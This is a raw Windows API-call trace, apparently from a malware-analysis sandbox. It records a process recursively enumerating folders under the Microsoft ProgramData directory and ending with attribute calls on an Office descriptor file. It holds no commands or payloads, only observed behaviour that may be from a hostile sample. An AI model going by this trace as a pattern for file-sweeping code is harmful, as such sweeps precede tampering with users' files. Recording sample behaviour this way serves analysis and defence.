	[0076.900] wcscpy (in: _Dest=0x2d737c8, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft"
	[0076.900] wcscat (in: _Dest=0x2d737c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\"
	[0076.900] wcscat (in: _Dest=0x2d737c8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\*") returned="C:\\Users\\All Users\\Microsoft\\*"
	[0076.900] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dde470
	[0076.900] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\*", lpFindFileData=0x2dde470 | out: lpFindFileData=0x2dde470*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70bc0
	[0079.926] wcscmp (_String1=".", _String2=".") returned 0
	[0079.926] FindNextFileW (in: hFindFile=0x2d70bc0, lpFindFileData=0x2dde470 | out: lpFindFileData=0x2dde470*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.926] wcscmp (_String1="..", _String2=".") returned 1
	[0079.926] wcscmp (_String1="..", _String2="..") returned 0
	[0079.926] FindNextFileW (in: hFindFile=0x2d70bc0, lpFindFileData=0x2dde470 | out: lpFindFileData=0x2dde470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d3d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppV", cAlternateFileName="")) returned 1
	[0079.926] wcscmp (_String1="AppV", _String2=".") returned 1
	[0079.926] wcscmp (_String1="AppV", _String2="..") returned 1
	[0079.926] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x44) returned 0x2e01e90
	[0079.926] wcscpy (in: _Dest=0x2e01e90, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft"
	[0079.926] wcscat (in: _Dest=0x2e01e90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\"
	[0079.926] wcscat (in: _Dest=0x2e01e90, _Source="AppV" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV") returned="C:\\Users\\All Users\\Microsoft\\AppV"
	[0092.508] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x2e01cb0
	[0092.508] wcscpy (in: _Dest=0x2e01cb0, _Source="C:\\Users\\All Users\\Microsoft\\AppV" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV") returned="C:\\Users\\All Users\\Microsoft\\AppV"
	[0092.508] wcscat (in: _Dest=0x2e01cb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV\\") returned="C:\\Users\\All Users\\Microsoft\\AppV\\"
	[0092.508] wcscat (in: _Dest=0x2e01cb0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV\\*") returned="C:\\Users\\All Users\\Microsoft\\AppV\\*"
	[0092.508] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47130e0
	[0092.508] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\AppV\\*", lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d3d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8498
	[0092.508] wcscmp (_String1=".", _String2=".") returned 0
	[0092.508] FindNextFileW (in: hFindFile=0x46a8498, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d3d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.508] wcscmp (_String1="..", _String2=".") returned 1
	[0092.508] wcscmp (_String1="..", _String2="..") returned 0
	[0092.508] FindNextFileW (in: hFindFile=0x46a8498, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup", cAlternateFileName="")) returned 1
	[0092.508] wcscmp (_String1="Setup", _String2=".") returned 1
	[0092.508] wcscmp (_String1="Setup", _String2="..") returned 1
	[0092.508] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2dac058
	[0092.508] wcscpy (in: _Dest=0x2dac058, _Source="C:\\Users\\All Users\\Microsoft\\AppV" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV") returned="C:\\Users\\All Users\\Microsoft\\AppV"
	[0092.508] wcscat (in: _Dest=0x2dac058, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV\\") returned="C:\\Users\\All Users\\Microsoft\\AppV\\"
	[0092.509] wcscat (in: _Dest=0x2dac058, _Source="Setup" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV\\Setup") returned="C:\\Users\\All Users\\Microsoft\\AppV\\Setup"
	[0092.509] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x54) returned 0x2d77600
	[0092.509] wcscpy (in: _Dest=0x2d77600, _Source="C:\\Users\\All Users\\Microsoft\\AppV\\Setup" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV\\Setup") returned="C:\\Users\\All Users\\Microsoft\\AppV\\Setup"
	[0092.509] wcscat (in: _Dest=0x2d77600, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV\\Setup\\") returned="C:\\Users\\All Users\\Microsoft\\AppV\\Setup\\"
	[0092.509] wcscat (in: _Dest=0x2d77600, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV\\Setup\\*") returned="C:\\Users\\All Users\\Microsoft\\AppV\\Setup\\*"
	[0092.509] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4712008
	[0092.509] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\AppV\\Setup\\*", lpFindFileData=0x4712008 | out: lpFindFileData=0x4712008*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8418
	[0092.509] wcscmp (_String1=".", _String2=".") returned 0
	[0092.509] FindNextFileW (in: hFindFile=0x46a8418, lpFindFileData=0x4712008 | out: lpFindFileData=0x4712008*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.509] wcscmp (_String1="..", _String2=".") returned 1
	[0092.509] wcscmp (_String1="..", _String2="..") returned 0
	[0092.509] FindNextFileW (in: hFindFile=0x46a8418, lpFindFileData=0x4712008 | out: lpFindFileData=0x4712008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799dd27b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2889e45, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2889e45, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeIntegrator.ps1", cAlternateFileName="")) returned 1
	[0092.509] wcscmp (_String1="OfficeIntegrator.ps1", _String2=".") returned 1
	[0092.509] wcscmp (_String1="OfficeIntegrator.ps1", _String2="..") returned 1
	[0092.509] FindNextFileW (in: hFindFile=0x46a8418, lpFindFileData=0x4712008 | out: lpFindFileData=0x4712008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799dd27b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2889e45, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2889e45, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeIntegrator.ps1", cAlternateFileName="")) returned 0
	[0092.509] FindClose (in: hFindFile=0x46a8418 | out: hFindFile=0x46a8418) returned 1
	[0092.509] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4712008) returned 1
	[0092.509] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77600) returned 1
	[0092.509] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac058) returned 1
	[0092.509] FindNextFileW (in: hFindFile=0x46a8498, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup", cAlternateFileName="")) returned 0
	[0092.509] FindClose (in: hFindFile=0x46a8498 | out: hFindFile=0x46a8498) returned 1
	[0092.510] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47130e0) returned 1
	[0092.510] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e01cb0) returned 1
	[0092.510] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e01e90) returned 1
	[0092.510] FindNextFileW (in: hFindFile=0x2d70bc0, lpFindFileData=0x2dde470 | out: lpFindFileData=0x2dde470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfa011b19, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfa011b19, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1
	[0092.510] wcscmp (_String1="ClickToRun", _String2=".") returned 1
	[0092.510] wcscmp (_String1="ClickToRun", _String2="..") returned 1
	[0092.510] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2dab978
	[0092.510] wcscpy (in: _Dest=0x2dab978, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft"
	[0092.510] wcscat (in: _Dest=0x2dab978, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\"
	[0092.510] wcscat (in: _Dest=0x2dab978, _Source="ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun"
	[0092.510] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x54) returned 0x2d77a20
	[0092.510] wcscpy (in: _Dest=0x2d77a20, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun"
	[0092.510] wcscat (in: _Dest=0x2d77a20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\"
	[0092.510] wcscat (in: _Dest=0x2d77a20, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\*"
	[0092.510] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47130e0
	[0092.510] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\*", lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x94636576, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x94636576, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8618
	[0092.510] wcscmp (_String1=".", _String2=".") returned 0
	[0092.510] FindNextFileW (in: hFindFile=0x46a8618, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x94636576, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x94636576, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.510] wcscmp (_String1="..", _String2=".") returned 1
	[0092.510] wcscmp (_String1="..", _String2="..") returned 0
	[0092.510] FindNextFileW (in: hFindFile=0x46a8618, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", cAlternateFileName="0D0D4E~1")) returned 1
	[0092.510] wcscmp (_String1="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", _String2=".") returned 1
	[0092.510] wcscmp (_String1="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", _String2="..") returned 1
	[0092.510] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x4986128
	[0092.511] wcscpy (in: _Dest=0x4986128, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun"
	[0092.511] wcscat (in: _Dest=0x4986128, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\"
	[0092.511] wcscat (in: _Dest=0x4986128, _Source="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4"
	[0092.511] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x49863c8
	[0092.511] wcscpy (in: _Dest=0x49863c8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4"
	[0092.511] wcscat (in: _Dest=0x49863c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\"
	[0092.511] wcscat (in: _Dest=0x49863c8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\*"
	[0092.511] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711198
	[0092.511] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\*", lpFindFileData=0x4711198 | out: lpFindFileData=0x4711198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8298
	[0092.511] wcscmp (_String1=".", _String2=".") returned 0
	[0092.511] FindNextFileW (in: hFindFile=0x46a8298, lpFindFileData=0x4711198 | out: lpFindFileData=0x4711198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.511] wcscmp (_String1="..", _String2=".") returned 1
	[0092.511] wcscmp (_String1="..", _String2="..") returned 0
	[0092.511] FindNextFileW (in: hFindFile=0x46a8298, lpFindFileData=0x4711198 | out: lpFindFileData=0x4711198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1
	[0092.511] wcscmp (_String1="en-us.16", _String2=".") returned 1
	[0092.511] wcscmp (_String1="en-us.16", _String2="..") returned 1
	[0092.511] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x481bac0
	[0092.511] wcscpy (in: _Dest=0x481bac0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4"
	[0092.511] wcscat (in: _Dest=0x481bac0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\"
	[0092.511] wcscat (in: _Dest=0x481bac0, _Source="en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16"
	[0092.511] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481bce8
	[0092.511] wcscpy (in: _Dest=0x481bce8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16"
	[0092.511] wcscat (in: _Dest=0x481bce8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\"
	[0092.512] wcscat (in: _Dest=0x481bce8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\*"
	[0092.512] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710328
	[0092.512] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\*", lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8418
	[0092.514] wcscmp (_String1=".", _String2=".") returned 0
	[0092.514] FindNextFileW (in: hFindFile=0x46a8418, lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.514] wcscmp (_String1="..", _String2=".") returned 1
	[0092.514] wcscmp (_String1="..", _String2="..") returned 0
	[0092.514] FindNextFileW (in: hFindFile=0x46a8418, lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x39768000, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x564f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1
	[0092.514] wcscmp (_String1="MasterDescriptor.en-us.xml", _String2=".") returned 1
	[0092.514] wcscmp (_String1="MasterDescriptor.en-us.xml", _String2="..") returned 1
	[0092.514] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491d448
	[0092.514] wcscpy (in: _Dest=0x491d448, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16"
	[0092.515] wcscat (in: _Dest=0x491d448, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\"
	[0092.515] wcscat (in: _Dest=0x491d448, _Source="MasterDescriptor.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml"
	[0092.515] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\masterdescriptor.en-us.xml")) returned 0x20
	[0092.518] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml", dwFileAttributes=0x20) returned 1
